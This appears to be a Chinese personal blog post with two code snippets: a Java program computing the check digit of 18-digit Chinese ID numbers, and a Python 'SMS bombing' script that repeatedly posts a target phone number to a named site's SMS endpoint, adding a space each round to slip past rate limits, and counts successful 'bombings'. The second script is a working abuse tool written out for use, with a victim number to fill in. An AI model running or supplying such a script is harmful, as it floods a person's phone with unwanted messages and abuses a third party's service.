Tips:此页面如果有弹窗提示,进入页面刷新下就好了~~~


工作中遇到了,记录一哈,算法为公开算法,我加了个Scanner

import java.util.Scanner;

public class Id18 {
	       //计算身份证最后一位算法,https://www.cnblogs.com/xudong-bupt/p/3293838.html
    int[] weight={7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2};    //十七位数字本体码权重
    char[] validate={ '1','0','X','9','8','7','6','5','4','3','2'};    //mod11,对应校验码字符值    
    
    public char getValidateCode(String id17){
        int sum=0;
        int mode=0;
        for(int i=0;i<id17.length();i++){
            sum=sum+Integer.parseInt(String.valueOf(id17.charAt(i)))*weight[i];
        }
        mode=sum%11;
        return validate[mode];
    }
    public static void main(String[] args){
        Id18 test=new Id18();
        Scanner scan = new Scanner(System.in);
        System.err.println("========请输入17位身份证号========");
        String ID_NUM = scan.next();
        System.out.println("该身份最后一位证校验码为:"+test.getValidateCode(ID_NUM));  
        System.out.println("完整身份证号码为:"+ID_NUM+test.getValidateCode(ID_NUM)); 
    }
}



TIM截图20190406213325.png



测试中又碰到了这个洞。。。。

http://ximcx.cn/post-143.html



#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# 短信轰炸绕过,http://ximcx.cn/smsMessage
import requests
import sys

phoneNum='123456789' #要被短信轰炸的的手机号
#phoneNum=sys.argv[1]
str=' ' #用于绕过的字符串-空格

i=0
while i<10:#要轰炸的次数,默认轰炸10次
   #print(phoneNum)
    r=requests.post('http://ximcx.cn/smsMessage',data={'mobile':phoneNum})
   #print(r.json().get('rtnMsg'))
    if r.json().get('rtnMsg')=='接口调用成功':
        print('第%s次轰炸成功' % (i+1))
    else:
        print('\r\r######轰炸失败######')
    phoneNum=phoneNum+str
    i += 1



2TIM截图20190406213759.png